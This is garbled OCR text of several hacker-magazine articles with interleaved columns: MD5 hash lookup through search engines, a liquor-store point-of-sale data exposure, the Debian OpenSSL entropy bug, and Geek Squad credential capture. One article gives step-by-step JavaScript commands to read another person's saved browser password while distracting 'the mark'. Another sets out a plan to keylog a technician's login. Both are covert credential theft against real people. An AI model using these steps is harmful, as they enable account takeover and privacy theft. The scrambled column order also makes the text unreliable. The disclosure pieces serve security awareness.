a n d  thus  the processor prob lem is to h ave been sa l ted and then hashed.  (Sa l t ing i s  
more t h a n  o n e  cracker work i ng on t h e  add i n g  text t o  a password before encrypt ing  i t, 
prob lem s i m u l taneous ly. We see the effects then us i ng that same text to a i d  i n  the decryp­
of th i s  in contests l i ke d i str i buted . n et ' s  Project t ion . )  However, a vast major ity of peop l e  
ReS, w h i c h  used d i st r ibuted comput ing  to use passwords that a re very easy to dec i pher 
crack prev ious ly  u ncracka b l e  c i phers, h av i ng if you know the hash .  Gett i ng  the hash is a 
h u n d reds of thousands of peop le  emp loy the i r  d i fferent prob lem i n  itse l f, and  I ' l l  get t o  that 
computers towards the goa l of test i ng every in a second .  
poss i b l e  key  u nti l the  correct one i s  found .  U s i n g  P H p,  I wrote a program that  takes 

Many attacks on encrypted passwords re l y  care o f  t h e  d i rty work for you .  I t  does a 
on d i ct ionary attacks, i n  wh ich  weak pass- Goog l e  search for a hash, scans  the resu l ts, 
words a re guessed by test i ng  them aga i nst sorts them by word frequency, and  uses that 
m i l l ions  of entr ies of p l a i ntext words in a fi l e  re l at ive l y  sma l l  su bset as a c rack ing  d i ct ionary 
or data base. Often,  these repositor ies can be to fi nd  a match .  If it fi nds  a m atch, it retu rns 
found  sp l i t  i nto themes, such as h uge l i sts of the p l a i ntext to you,  so you don ' t  have to 
persona l  names, p laces, or common l y  used search a l l  the pages m a n u a l l y. I f  the Googl e  
passwords .  T h e  l a rger you r  pool o f  data, the search i s  u nsuccessfu l ,  the prog' ram does a 
better you r  chances of success-but the l onger search with Ya hoo ! ;  i t  scans the U R L  t i t le, the 
i t  wi l l  take to test every poss i b i l i ty. Yahoo!  summary of the page, and  fi n a l l y, i f  

I t  was  recent ly  poi nted out that  c rypto- that fa i l s, the page itse l f, a n d  performs s i m i l ar 
graph ic  hashes such as MDS can be reversed a n a l ys i s  as we d i d  with the Goog l e  res u l ts .  
u s i ng search engi nes such as  Google .  For I or ig i n a l l y  thought about  creat ing  a 
examp le, searc h i ng for the M D S  hash of h uge database fu l l  of dec i p hered hashes as  
" 5 f 4 dcc3 b 5 a a 7 6 5 d 6 1 d 8 3 2 7 deb 8 8 2 c f 9 9 "  a backup when the webt ionary search fa i led, 
takes l ess than a quarter of a second but the poi nt of the project i s  not to become 
to return over 5 00 pages with both a c rack ing  database, but  rather to show the 
5 f 4 dc c 3 b 5 a a 7 6 5 d 6 1 d 8 3 2 7 de b 8 8 2 c f 9 9  power of us i ng  the web a n d  search engines 
and  the word "password" in  them, i n  c l ose to do a l l  the hard work. Bes ides, you can fi nd  
prox i m i ty to  each  other. ( I t  i s  no coi nc idence scores of these databases across the web; 
that "password" is one of the top 1 0  most for examp le, GDa taOn l i ne . com a lone  has 
frequent ly used passwords . )  a l most 900,000 so lved hashes .  

Remember o u r  th ree cr i ter ia  for i ncreas ing  As you ' l l  see  i n  the sou rce code, I d i d  b u i l d  
success at c rack i ng? We ' ve j ust used one in  the a b i l i ty to use a database, but  th i s  i s  o n l y  
computer, a search engi ne, and  less t h a n  a for stor ing  passwords wh ich  h ave a l ready been 
quarter of secon d  to crack an "uncracka b l e" dec i p hered us i ng the scr i pt. Th i s  is because 
hash . By us i ng  search engi n es, we use Goog le  the search engi ne AP l s  I use o n l y  a l l ow a 
and  Yahoo ! ' s  i m mense cata l ogs of i n dexed l i m ited amount  of lookups per day. I ' l l  l eave 
pages a n d  the i r  thousands of server processors the database wr ite method turned off u nt i l the 
to search for a hash on the same page as its search engi nes start b locki n g  access because 
p l a i ntext equ i va lent .  I ' ve u sed u p  my l i m it.  

I magi n e  the poss i b i l i t ies :  m i l l ions  of pages U s i n g  th i s  script, I ' ve been a b l e  to fi n d  the 
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matches for h u n d reds of hashes i n  l ess than a 
few seconds each .  I t ' s  i m portant  to remember 
that th i s  i s  not a c racker-it ' s  a fi nder. I n stead 
of brute-force, I l i ke to ca l l  i t  " l ight-force." If 
the hash and p l a i ntext haven ' t  been posted to 
the web a n d  i ndexed by the search eng i nes, 
th i s  sni pt won ' t  he lp .  

J ust for fu n ,  I u sed the  scr i pt to  search for 
th i s  hash :  3 2 b 9 9 l e S d7 7 ad 1 4 0 S S 9 f fb 9 S 

- S 2 2 9 9 2 d O 

Yahoo ! fou n d  a n d  returned the p l a i ntext 
"2 600" to me in 1 .074 seconds .  Th i s  means 
that somewhere out there, someone has used 
and dec i phered "2 600" as a password a n d  
posted i t  on t h e  i nternet. 

W h i l e  writ i ng  th i s  program, I i nvestigated 
a n d  i nspected many pages of res u l ts from 
search engines .  I was shocked by the n u m ber  
of  pages I fou n d  that  were database dumps of 
user i nformation ,  i n c l u d i ng contact i nforma­
t ion, secur ity quest ions  and  answers, pr ivate 
message logs, a n d  more, tucked away a long  
wi th  the  MDS hashes of  the i r  passwords i n  
var ious webs ites across the wor ld ,  where 
the i r  owners probab l y  thought they were safe. 

by Jacob P. Si lvia 
jacob.si lvia@gmail .com 

Introduction 
H ave you ever been on a pub l ic computer, 

gone to a s i te req u i r i ng a logi n, and rea l i zed 
that the person us ing  the computer before you 
stored h i s  or her password on that computer? 
You can then log in to the accou nt, p l ay with 
the sett i ngs, or change the user name to Ima 
Too l  or the defa u l t  l anguage to  Esperanto, but  
many s i tes won ' t  l et you change the password 
to one of you r  own choos i ng u n l ess you know 
what the prev ious password was .  Thus,  no 
matter what changes you may make, Ima  w i l l  
sti l l  b e  ab le  to log i n  aga i n ,  change the name 
and  l anguage back,  and maybe even change 
the password . 

Before I conti n ue, I shou l d  mention that you 

A more nefar ious  progra mmer cou l d  wr i te a 
scr i pt to search each of these hashes a n d  eas i l y  
compro m i se webs i tes and  user accou nts.  

Th i s  shou l d  once aga i n  be a rem i nder to 
program mers to a l ways secu re you r  data . At 
l east salt you r  users '  passwords before stor ing 
them on the web.  And i t ' s  a l ways a good i dea 
to test the strength of you r  own password . You 
can c reate a n  MDS hash of a p l a i ntext word 
in L i n u x  or as x by typ i ng mdS - s  p l a i n ­

t e x t ,  or  fi n d  o n e  o f  t h e  m a n y  MDS genera­
tors on the web. Then, see i f  the program can 
dec i pher you r  hash . .  

My work i ng model  can be fou n d  at 
h t tp : / / www . b i g t rap e z e . c o m / m d S / .  

The source code can be fou n d  at 
h t t p : / / www . b i g t r a p e z e . c o m / md S / 

s ou r c e /  or i n  the 2 600 code repos i tory. 

The scripts mentioned in this 
article can be downloaded from 

the 2600 Code Repository a t  
h ttp://www. 2600. com!code/ 

warn i ng aga i nst passwords without ta k ing  the 
necessa ry precaut ions to secu re them. 

Th i s  i s  not the most tech n ica l  a rt i c le  on 
password recovery. In fact, it 's so easy that a 
scr ipt k idd ie  cou l d  do it .  I know that there ex i st 
too l s, and maybe even browser extens ions, 
that wi l l  retr ieve stored passwords for you i n  
moments, but for the sake o f  argument we ' re 
pretend ing  that we ' re on a computer that we 
can ' t  eas i l y  or qu ick ly  i n sta l l  software onto and 
that  we o n l y  have access to  the web browser. 
We a l so want to make it look to the casua l 
eavesdropper that we ' re actu a l l y  j ust surf ing 
the web, m i n d i ng our  own bus i ness.  We don ' t  
want to, and i n deed m ight not be a l lowed 
to, do someth i ng l i ke run n i ng reged i t  when 
we' re, for examp le, at a l i b ra ry, or when at a 
the house of a fr iend who ' s  i n  the other room, 
m icrowaving  a Hot Pocket or someth i ng. 

shou l d  never rea l l y  log i nto someone e l se ' s  Suppl ies 
account and change sett i ngs, nor shou l d  you You ' l l  need a few th i ngs. The fi rst is access 
compromise a nyone ' s  password . Th i s  a rt i c le  to  a browser w i th  stored passwords, prefer-
is meant both to i nform, by exp l a i n i ng how ab ly  I E  6+ or F i refox 2 +, as I haven ' t  tested 
to retrieve passwords eas i l y, and  to caut ion, th i s  method on other browsers. You ' l l  a l so 
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need a b i t  of knowl edge of HTML DOM and 
javaScr i pt, the a b i l i ty to  i ncrement a n d  decre­
ment i ntegers by 1 in you r  head ( i .e . ,  to cou nt), 
and the ab i l ity to remem ber two n u m bers. I t ' s  
a p l us i f  you  can type qu ick l y  a n d  if  you  can  
d i stract you r  mark for long enough to  carry out 
the password retrieva l .  It 's a l so handy to ca rry 
a pen and a notebook in order to jot down 
you r  fi nd i ngs. 

JavaScript and the HTML DOM 
Now, a s l ight as ide to d i scuss J avaScr ipt 

and the HTML DOM (Docu ment Object 
Model ) :  i f  you weren ' t  aware, most b rowsers 
a l l ow you to execute JavaScr ipt from the 
address bar. (See "Javascr ipt I nj ection," 
2 600 Autu m n  2 005 . )  I t 's  a s i m p l e  matter of 
typ i n g  j ava s c r i p t  : c ommand ( ) ,  for some 
command, i nto the browser ' s  address bar. For 
examp le, j ava s c r ip t : a l e r t  ( )  w i l l  pop 
up  a b l a n k  d i a l og box. 

The HTM L  DOM i s  one of the best 
th i ngs to happen to peop l e  who l i ke doi ng 
powerfu l th i ngs with otherwi se u n i nter­
esti ng  web pages. U s i ng JavaScr i pt, you can 
change practic a l l y  any parameter on any 
tag, and you can even make new tags. You 
may, if you ' re so i n c l i ned, use JavaScr ipt to 
mod ify the DOM and so a l ter  the page you ' re 
v iew ing  to su i t  you r  preferences, though 
th i s  exerc ise i s  l eft to the reader. Check out 
h t tp : / / www . w3 s choo l s . c o m / h t m l dom/ 

'-de f a u l  t .  asp for an  i ntroduct ion to the 
HTML DOM. 

There a re th ree parts of the DOM that you 
need to concern you rse l f  with a re:  documen t,  

the DOM ' s  parent object; f o rms,  the array that 
holds the document ' s forms; and e l emen t s ,  

t h e  a rray that h o l d s  t h e  e lements o f  t h e  form. 
S i m p le,  eh?  Okay, so now that nobody ' s  

watc h i ng, i t ' s  t ime to work o u r  magic .  

Procedure 
Step 1 .  Open the browser. I f  your mark i s  

sti l l  on  you r  shou l der, j u st surf t o  some i ncon­
spicuous s i te u nt i l you can get h i m  or  her go 
away. Gone yet? Good. 

Step 2. Surf to the s i te with the stored 
password.  I f  there i s n ' t  a log in  screen on the 
ma i n  page, go to the l ogi n screen .  See those 
dots, aster i sks, or  whatevers? That' s what we' re 
goi n g  to u ncover. 

Step 3. Type j ava s c r ip t : a l e r t  ( do c u  

'-men t . f o rm s  . l ength ) i nto the addressbar 
and press enter. Remember the n umber that 
pops up. Let ' s  ca l l  i t  x .  I f  th i s  step does n ' t  work, 
ensure that you typed everyth i n g  correctl y. If 
i t  sti l l  i s n ' t  work i ng, you may h ave to resort to 
more guerr i l l a  tactics to get your  passwords .  
Sorry ! 

Step 4. For each n u mber from 0 to x - 1 ,  try 
j a v a s c r i p t : a l e r t ( d o c u m e n t . 
f o rms [ x ]  . name ) a n d  l ook for someth i n g  
prom i s i ng, s u c h  s u c h  as " log i n "  or a s i m i l a r  
n a m e .  I f  x i s  1 ,  t h e n  congratu lat ions :  y o u  don ' t  
need t o  worry about th i s  step ! 

Step 5 .  Once you h ave the r ight va l u e of x, do 
j a v a s c r i p t : a l e r t ( d o c u m e n t . 

'- f o r m s  [ x ]  . e l e m e n t s  . l e n g t h ) . 

Remember th i s  n u m ber; l et ' s  ca l l  it y. 
Step 6. N ow, for each n u m ber from a to 

y - 1 , try j ava s c r ip t : a l e r t ( do cumen t . 

'- f o rms [ x ] . e l emen t s [ y ] . name ) u nt i l 
you get "password," "p i n ,"  or someth i ng 
s i m i l a r. 

Step 7. Let you r  heart go tha-th ump; you ' re 
about to see a password that you ' re not 
supposed to see ! 

Step 8. Type j ava s c r ip t : a l e r t  ( do c u  

'- m e n t . f o r m s  [ x ]  . e l e m e n t s  [ y ]  . 

'-va l u e ) .  Quick ly  memori ze or wr i te down 
the password . Tak ing  note of the user 10 wi l l  
be a great he lp, too. Then,  qu ick ly  su rf back 
to your i n conspicuous s i te before your fr iend 
comes back with that  Hot Pocket or that  batty 
o ld  l i b ra r ian  wonders what you ' re doing .  
Whew !  I f  you successfu l l y  kept your cool 
dur ing  th i s  tr i a l ,  go ahead and give yourself a 
pat on the back, and keep an eye on the papers 
for aud i t ions  to be in the next Miss ion :  I m pos­
s i b l e  movie .  

Comments 
Stea l i ng  i s wrong, at l east for some senses 

of the words stea l i ng, i s, and wrong. Don ' t  
abuse t h e  knowledge presented i n  th i s  arti c l e, 
because I ' m  not respons ib le  if you somehow 
break a l aw or company pol i cy by do ing th i s .  
As I mentioned ear l i er, th i s  has o n l y  been 
tested on IE and F i refox. These a re the o n l y  
two browsers that m a n y  peop le  th i n k  about; 
however, there a re many other b rowsers out 
there-you know what they a re, or Goog le  
does if  you  don ' t. Feel free to  try th i s  on  other  
b rowsers. I f  i t  works, h uzzah; i f  not, boo-hoo. 
Be aware that you may l eave a tra i l  of you r  
act ions, espec i a l l y  i f  your fr iend or  l i brary has 
some sort of keystroke track i ng.  

Fee l free to come up  with a more effic ient  
or sneakier  way to do th i s .  I 'd  l ove to hear  
about  it ,  and I ' m  su re that the rest of  the readers 
wou l d  too. Or, i f  you wou l d  rather protect 
you r "flock" from the "wol ves" who wi l l  sure ly 
use th i s  techn ique or some other method to 
compromise accounts, you may turn off the 
browser ' s  password storage prompt and save 
everyone a l i tt l e  b i t  of a headache. 

Tha n ks for read ing !  
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by drlecter 

Disclaimer: This article is for informational 
purposes only. If you get caught, it 's not my 
problem. You shouldn 't have been so stupid. 

U nti l recent ly, I worked at a rather n i ce 
l i quor store. We used a software su ite ca l l ed 
Sp i r i ts 2 000, wh ich  has  been w ide ly  used i n  
reta i l  l i quor stores s i nce the 1 980s.  I t  was 
c reated by Atl a nt i c  Systems I ncorporated 
(AS ! ) .  I read i n  a beverage magaz i n e  that the 
Sp i r i ts 2 000 package starts at $ 1 0,000. Th i s  
software keeps track o f  everyth i ng, i n c l ud i ng 
i nventory, s a les, emp loyee i n format ion,  s h i p­
ments, a n d  much  more. It is a p retty rob u st 
system.  

The  b ra i n s  of  the software su i te i s  c a l l ed 
Sp i r i ts Backroo m .  Backroom contro l s  every­
th i n g  from pr ices to emp loyee i n format ion to 
i n ventory adj ustments-the whole  n i ne yards.  
The p l ace I worked at had severa l computers 
ru n n i ng th i s  software, and any change made 
o n  one computer wou l d  a utomatica l l y u pdate 
the data on the others th rough a process c a l led 
po l l i ng .  So,  i f  I so ld  a bott le  of Jack  from one 
of  the regi sters, the data  fi l es on a l l  of the other 
computers wou l d  be updated with the sa le  
i n format ion;  tha t  i s ,  the sa l e  pr i ce, d i scount  
g iven ,  t ime a n d  date, and  so o n .  There a re 
severa l  d i fferent secur i ty l eve l s  you can  ass ign 
users .  The bas ic  l evel  a l l ows users to l oo k  u p  
t h e  cost o f  a n  item a n d  pr in t  p r i c e  tags. That ' s  
a b o u t  i t .  The next l evel  a l l ows y o u  t o  change 
pr ices a n d  prod uct n ames, d i scont i n u e  prod­
ucts, and add or de lete items .  Other l eve l s  
i n c l ude t h e  a b i l i ty t o  g ive d i scounts, do pr i ce 
matc h i ng, a n d  return items. The bosshas  the 
h ighest l evel  of perm iss ions  of cou rse. He has  
access  to  a l l  of the emp loyee data i nc l ud i ng 
n a me, address, date of b i rth,  a l arm codes, 
soc i a l  secur i ty n u mber, and rate of pay. 

Here is the prob lem,  though . 
Through Backroom, you h ave to h ave 
the management password to access 
emp loyee i n formation,  but  I fou n d  that 
i f  you n av igate th rough the fi l e  system to 
C :  \ KSV\ Da t a, there a re a b u n c h  of data 
fi les .  One of the more i nterest i n g  ones is 
emp.cdx .  I f  you open t h i s  f i l e  in notepad, 
i t  is barely readab le; i t ' s  not even a comma 

de l i m ited fi l e .  I f, i n stead, you open I t  I n  a 
program such  as M i crosoft V i sua l  Fox Pro, i t  
opens  as  a n i ce neat  database, d i sp l ay i n g  a l l  
o f  the emp loyee i n fo for a l l  emp loyees, past 
and present: everyth i ng that management has  
access to, but  wi thout  a password. I t  i s  a l so 
poss i b l e  to access the journa l  fi les  that conta i n  
i nformatio n  on a l l  o f  the sa les, the i n ventory 
fi l es, a n d  j u st about everyth i ng that u pper 
management does n ' t  want you to h ave access 
to. To m a ke matters worse, the company that 
set the system u p, AS ! ,  set every computer 
to share the entire c :  \ dr ive with read and  
wr i te access !  I a m  su re you  can  i magi n e  some 
scary poss i b i  I i t ies .  

Another prob lem with th i s  r i d i cu ­
lous  setup i s  tha t  the l ast c red i t  or debi t  
card run  on each regi ster i s  stored 
e ither in C : \ KSV \ c Ledi L caLCls . 
- tx t  or C :  \ KSV\ debi t card"; . t x t .  
A l l  o f  t h e  c red it  card data i s  stored here: 
the fu l l  n u mber, the exp i ration  date, a n d  
t h e  customers name .  So, w i t h  a cou p l e  of 
passes over the regi sters, you can  get qu ite a 
few d i fferent c red i t  card n u m bers .  There a re 
q u ite a few more th i ngs that you can  access 
or change in the data d i rectory, and much  
fu n can  be had with * . i n  i fi l es, b u t  that i s  
beyond t h e  scope o f  th i s  a rt i c l e .  

I ment ioned a coup le  of  these prob lems to 
the tech they sent out one t i me, a n d  a l l  he  
sa id  was, "We a ren ' t  ta l k i n g  nati o n a l  secu­
r i ty here."  That was  very d i sturb i ng, to  say 
the l east. So I thought that m aybe an a rt i c l e  
i n  a w ide ly- read hacker maga z i n e  m ight get 
the i r  attent ion .  Oh, I a l most forgot: they set 
the router to be remote l y  access i b l e, with a 
4 character password, a l l  l owercase l etters, 
that I guessed in about 3 m i n  utes. I n fact, i t  i s  
t h e  stri ng  o f  characters I u s e  for ema i l  sub jects 
when I am too lazy to th i n k  of someth i ng .  
Gett i n g  the IP  address was easy too; I wou l d  
j ust send my boss a n  ema i l  about someth i n g, 
and  then check the headers i n  h i s  rep l y. I n  
c los i ng, I wou l d  l i ke to say that I hope t h i s  
a rt i c l e  does s o m e  good, and  maybe he lps  to 
protect the pr ivacy of l i quor store emp loyees 
and  customers a l l over the cou ntry. 

Hello to Mom, Dad, and Sam. 
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//How to Neuter Cryptography for Thousands of Users in Two Lines " 

Two years ago a vendor made a nonstan­
dard mod ificat ion to a cryptography l i b ra ry 
used by thousands of systems for SSH,  
VPN,  SSL, and most  other  encrypted traffic .  
For two yea rs th i s  change went  u ndetected, 
i ntrod u c i n g  weaknesses i nto the key gener­
at ion and encrypted traffic .  

Sou n d  l i ke a l a rge commerc i a l  vendor 
(synonym: sma l l , l i mp) co l l ud i ng with a 
spy-happy government to weaken c ryp­
tography to ease s u rve i l l a nce? A foreign 
govern menta l  agency hoping to accom­
p l i sh  the same? Wou l d  you be l ieve an 
open sou rce deve l oper on a rguab ly  one 
of the most m i l i tant ly GPL and open L i n u x  
d i str ibut ions, on a comp l ete l y  open sou rce 
project? 

In September of 2 006, a Deb i a n  deve l ­
oper fo l l owed a warn i n g  from t h e  memory 
aud i t i ng  too l s  pur ify and va lgr i nd, and 
i dent ified a potent ia l  read of u n i n i t i a l ized 
memory in OpenSSL, and commented out 
the offe n d i n g  l i ne.  U nfortu nate l y  th is  l i ne 
added the suppl ied data to the entropy 
poo l ,  effective l y  remov i n g  the randomness 
at the heart of the cryptogra p h i c  engine.  
Th i s  cha nge was then p icked u p  by U b u ntu, 
and presu mab ly  any other Deb i an-based 
d i stri but io n .  

T h e  entropy pool i s  u sed t o  c reate 
pseudo-random (s i nce very l i tt l e  in a 
computer is actu a l l y  random) data used to 
create c ryptograph i c  keys. Typ i ca I l y entropy 
comes from a comb i nat ion of sou rces, 
such as network packet rate, d i s k  1 0  char­
acter i st ics, typ i n g  rates, mouse movement, 
a n d  on systems which prov ide it, a ra ndom 
n u m ber generator in ha rdware. The kernel 
keeps track of these sou rces, and adds the 
entropy to the system-wide random poo l ,  
but  d u r i n g  i nt ia l izat ion,  OpenSSL m ust add 
the entropy to its own sou rces.  

I n stead of seed i n g  the random n u mber 
stream from the process 1 0  and the system­
wide entropy poo l ,  the cr ipp l ed OpenSSL 
PRNG (pseudo-random n u mber generator) 
u ses o n l y  the process 1 0, on  L i n ux fa l l i n g  
between 1 and 3 2 , 767, mea n i ng i n stead of 
2 A 1 2 8  (the m i n i m u m  amount  of entropy 
OpenSSL expects) poss i b i  I i t ies - northwards 
of a n  u ndec i l ion (and yes I had to look on 
w i k i ped ia  for that) poss i b i l i t ies, there a re 
i nstead 2 A  1 5  possi b i l i t ies .  Put another way, 
i n stead of need i n g  3 . 7  x l OA32 g igabytes 
to store every poss i b l e  SSH host key, it now 
takes about 40 megabytes per h ardware 
p l atform ( I ntel 3 2 b i t, I ntel 64bi t, PowerPC, 
etc . ) .  Put  a th i rd way, that's 1 .9 x 1 0A-32 
percent as many keys as there shou l d  have 
bee n .  (And if you remember  you r  h igh 
school math that's 0.0,  th i rty-one zeroes, 
1 9 . I t's actu a l l y  hard to represent these 
n u m bers in t h i s  a rt i c l e  - they're so sma i L ) 

Not o n l y  have the tota l n u mber of 
poss i b l e  keys been d rast ica l ly reduced, 
but a key i s  now much more pred ictab le  
depen d i ng on when i t  was  generated, 
as noted by H . D. Moore. Many serv i ces 
generate the i r  keys d u r i n g  i n sta l l , mea n i ng 
the process 1 0  of the i n sta l ler  is l i ke ly  to 
fa l l  w i th i n  a pred icta b l e  range. 

The s ign i ficant ly reduced tota l key space 
ma kes brute force attacks aga i nst user 
l og i n s  and i m personat ion of servers tr iv ia l .  
Perform i ng a man- in-the-m i d d l e  attack 
(over, for  example, a w i reless network) 
becomes as s i mple  as fi ngerpr in t ing  the 
pu b l i c  key of the host and p rov i d i ng the 
pr ivate key from the tab l e  of pre-ca l c u l ated 
keys.  No a lert i s  ra i sed that the host key 
has changed, and the c l ient  cont i n ues as 
norma l .  

Ad m i n i strators of systems where a user 
has u p l oaded a n  SSH user key a re a l so 
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vu l nera b l e, even when the system i tse l f  system. Aga i n ,  th i s  i nc l udes S S H  a nd any 
does not u se a v u l nera b l e  OpenSSL l i bra ry. service u s i ng SSL, such a s  H TTPS, the very 
S i nce SSH u ser  keys cover a s i m i l a r l y  sma l l  traff ic conta i n i ng sen s i t ive i nformat ion 
key space, b rute forc i ng a user i s  o n l y  a you encrypted to p rotect i n  the f i rst p l ace. 
matter of t ime. Most SSH servers a l l ow The ra ndom seed i s  used i n  the P R N G  to 
seven attempts per con nect ion ,  mea n i ng generate per-sess i o n  sym metr ic encryp­
the average sea rch a rea for match i ng the tion keys, wh ich a re faster a nd req u i re l ess 
u ser's key i s  j u st over 2000 con n ect ions  resou rces to  encrypt data than  the p u b l ic­
(32, 768 div ided by two s i nce o n  average a key method u sed to identify a server. H ow 
key w i l l  be found i n  h a lf of the sea rch a rea, easy cou ld i t  be to crack saved SSL sess ions? 
d iv ided by seven attem pts per con n ect i o n). In 1 996, Netscape u sed a wea k P R N G  seed 
If the attacker h a s  access to the u ser's p u b l ic  (a h a s h  of  the t i me, p rocess 1 0, a nd pa rent 
key (via a web page, contro l of a n other p rocess 1 0) wh ich cou ld generate, at best, 
server where the user h a s  u p l oaded a key, a seed of 47 b i ts (2"47 poss i b i l i t i es). I a n  
etc.), then match i ng i t  becomes a m atter of G o l dberg a nd Dav id Wagner, students at 
s i m p l y  match i ng the p recomputed keys. Berkel ey, wrote a brute-force attack wh ich 
S i nce the p rocess 10 of the SSH-keygen cou ld b rea k an SSL sess ion  in 2 5  seconds. 
p rocess i s  moderate l y  guessab l e, the sea rch U s i ng 1 996 l eve l h ardwa re, they were a b l e  
a rea ca n b e  n a r rowed even fu rther, m a k i ng to b rea k the SSL  sess i o n s, wi thout k n ow i ng 
brute forc i ng users with  vu l nera b l e  keys the keys, of a seed with fou r b i l l i on  t i mes 
even eas ier. more entropy t h a n  the wea kened OpenSSL 

H.D. Moore h a s  p recomputed the SSH seed. SSH w i l l  l i ke l y  show s i m i l a r  t i mes, 
host a nd u ser  keys for severa l p l atforms, espec i a l l y when the keys themse l ves a re 
ava i l a b l e  at h t tp : / / me t a s p l o i  t .  com/  guessa b l e. 
-us e r s / hdm / t o o l s / deb i a n - opens s l /  H ow does someth i ng l i ke th i s  h appen? 

Th i s  f l aw affects every a p p l icat ion wh ich Most l i ke ly, a comb i n at ion  of good 
u ses OpenSSL ,  a nd is espec i a l l y  i n s id i o u s  i ntenti ons ,  ignora nce, a nd l a c k  o f  v i g i ­
beca use i t  i ntroduces a persi stent, perma- l a nce. Typ ica l l y, read i ng from u n i n it i a l ­
n e n t  vu l nera b i l i ty wh ich does n ot g o  away i zed memo ry is a bad th i ng - it w i l l  h ave 
s i m p l y  by u pgrad i ng the affected l i b rary. u n p redicta b l e  res u l ts s i nce the va l ue i s  
A n y  a p p l icat i o n  wh ich stores a key gener- u n known. When seed i ng a poo l of ra ndom 
ated by the vu l nera b l e  l i b ra ry w i l l  cont i n u e  data, readi ng from u n i n i t ia l i zed memory i s  
t o  be v u l nera b l e: OpenS S H ,  OpenVP N ,  at worst use less - t h e  memory conta i ns a l l  
Apache, I m a p-SSL,  B i nd, SSH c l ients, zeroes - a nd at best a nother source of sem i ­
s o m e  h a rd dr ive encrypt ion  schemes such ra ndom data to be com b i n ed i nto the poo l .  
a s  ends, a nd any other S S L  based a p p l ica- I n stead of f i x i n g  the i n i t i a l  seed of u n i n i t i a l ­
t i o n ,  m u st regenerate t h e  keys and n otify i zed memory, the deve l oper com mented 
u sers that the keys a nd cert i f icates h ave out the l i ne wh ich u sed the u n i n i t ia l i zed 
cha nged. A l l SSH RSA user keys generated memory where the fu nct ion  adds the i n put 
o n  a wea kened system m u st be rep l aced to the entropy poo l .  By fa l l i ng i nto a rote 
on every system they h ave been cop i ed to. f ix i ng pattern where the goa l was to e l i m i ­
A l l  S S H  OSA user keys u sed on a wea k- n ate wa r n i ngs from P u r ify, rather than  to 
ened system m u st be rep l aced - even if u nderstand the code and how it  was used, 
they were generated pr ior  to the weak- a s i m p l e  m i stake became an enormous 
ness  - due to a f l aw in  the OSA mech a n i s m  f law. Lack o f  com m u n ity v ig i lance i n  spot­
that  revea l s  the pr ivate key if an attacker t i ng th i s  cha nge d u r i ng test i ng a l lowed it 
captu res m u l t i p l e  u ses of the same crypto- i nto the m a i n  codebase. 
gra p h ic nonce, wh ich is generated by the Someth i ng of th i s  mag n itude w i l l  l i ke l y  
s a m e  f lawed P R N G. ha ppen aga i n , though h opefu l l y  not for 

Addit ion a l l y, any encrypted traff ic some t i me, due to the pu b l i c i ty t h i s  expo­
exch a nged from o r  to a wea kened system is s u re has gotten. The o n l y  so l ut i o n  i s  to 
n ow vu l nera b l e  to attack - even if the keys be v ig i l a n t  about what is modif ied a nd 
u sed p redate the v u l nera b i l i ty - i nc l ud i ng i n sta l l ed. Mon itor cr i t ica l packages for 
any traff ic performed over the past two modif icat ions,  contr i bute to a udi t i ng on  
yea rs wh ich m ight  have been l ogged by you r  favor i te d i str i but ion ,  a nd don' t  mess 
a nyone between you a nd the affected with ra ndom n u m ber generato rs. 
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THE GEEK 
SQUAD 

by Turgon a l l y  mil lions of customers. Addresses, phone 
numbers, and email addresses a re just the begin-

Ahh,  the Geek Squad: love them or hate them, ning. Most Agents, as per corporate policy, a l so 
they' re here to stay. Best B u y ' s  computer "task log copious notes of every customer 's  WPA or 
force" can be found in every store, at you r  home WEP key, SS I D, IP address, PC make and model ,  
or office, or on t h e  road i n  their b lack and white OS, RAM amou nt, viruses fou nd, and lots more. 
VW beet les .  The Geek Sq uad database contains information 

A majority of their employees, who are known not only about individ ua l s  but a l so about their 
as Agents, a re high school kids with a basic under- n u merous smal l business c l ients. 
standing of Windows Vista and XP, but more than Note that Agents a re required to reset their 
a few of them rea l l y  know their stuff. Some even STS passwords on a regu l a r  basis, and a hacked 
read and contribute to 2600 Magazine. password is easi ly  reset by corporate. Therefore, 

What is this a rtic le  about? Wel l ,  it isn ' t  a rant having an Agent ' s  login c redentia l s  is on ly  good 
about incompetence. Sorry, guys and ga l s, but for information gathering; once a n  Agent rea l izes 
you can find p lenty of that on c o n s umer i s  t .  com that his password has been changed, he ' l l  have 
or on count less forums.  No, what I am here to it reset in minutes. There ' s  no easy way for a n  
ta l k  about i s  a tiny secu rity issue with huge conse- Agent to know if an account  is being abused, as 
quences.  Here ' s  how to wreak havoc in five easy it ' s  possib l e  to login from m u l tip l e  computers or 
steps. b rowsers at the same time.  One cou l d  theoreti-

First Step:  Ca l l  the Geek Squad at ca l ly have unfettered access for months before the 
1 -800-43 3 -5778 and  set up a n  appointment for Agent is forced to change the password at a server 
a wire less network secu rity insta l l .  This is their prompt. 
cheapest and q uickest service. U nfortunate ly, it Agents a re usua l ly c l ever enough to find  
wil l cost you  $59 ;  as we' l l  see later, though, this is keyloggers if they a re performing virus remova ls,  
a sma l l  p rice to pay for such a prize. system optimizations or upgrades, and simi lar  

Second Step:  I n sta l l  a keylogger on your  jobs .  The  simple  fact that  they ' re on ly  out to 
l aptop or desktop computer. Software, hardware, encrypt you r  wire less router means they won ' t  
doesn ' t  matter. even look twice to check background programs 

Third Step :  Reset your  wire less router settings or physical ly  examine the machine and inspect 
to the defa u l ts: disab le  WEP and WPA, and use for hardware loggers. 
the defa u l t  5 S I D .  Then, sit back and wait for your  Best Buy likes t o  c u t  corners, a n d  its employees 
appointment. A fie ld  tech, who we ' l l  cal l Dou b l e  a n d  customers are always get t h e  short e n d  o f  the 
Agent, wil l show up dt your  door. He or she wil l stick .  A worka b le  sol ution to the secu rity issue I 
t�l ke a look at you r situation and sec u re you r  have discussed wou ld b e  for Best Buy t o  provide 
router with WPA: piece of cake!  Than k the agent a laptop to its Agents for on-site use. Companies 
for their amazing W PA-typing skil l s  and rejec:t any like H P, Toshiba, or Cateway wou ld  probab ly  
other ,ldditional services which they mdY try to even sp l it the cost to have these " respected" 
"up-se l l ." Ceek Sq uad Agents toting their bra n d ' s  laptop 

Fourth Step: Your hero Doub le  Agent wil l now into impressionab le  customers ' homes . Other 
sit down at you r  computer, open a web browser, prevpntion techniq ues that Best Buy might 
and go to it l ' :; 1 : ; .  'H ' , · k : ; q l i iHl. , emp loy inc l ude a server-side upgrade req uiring a 
Once there, t h (·y wil l type in their login creden- Secu r l D  token for dcc:ess to STS or l imiting lowly  
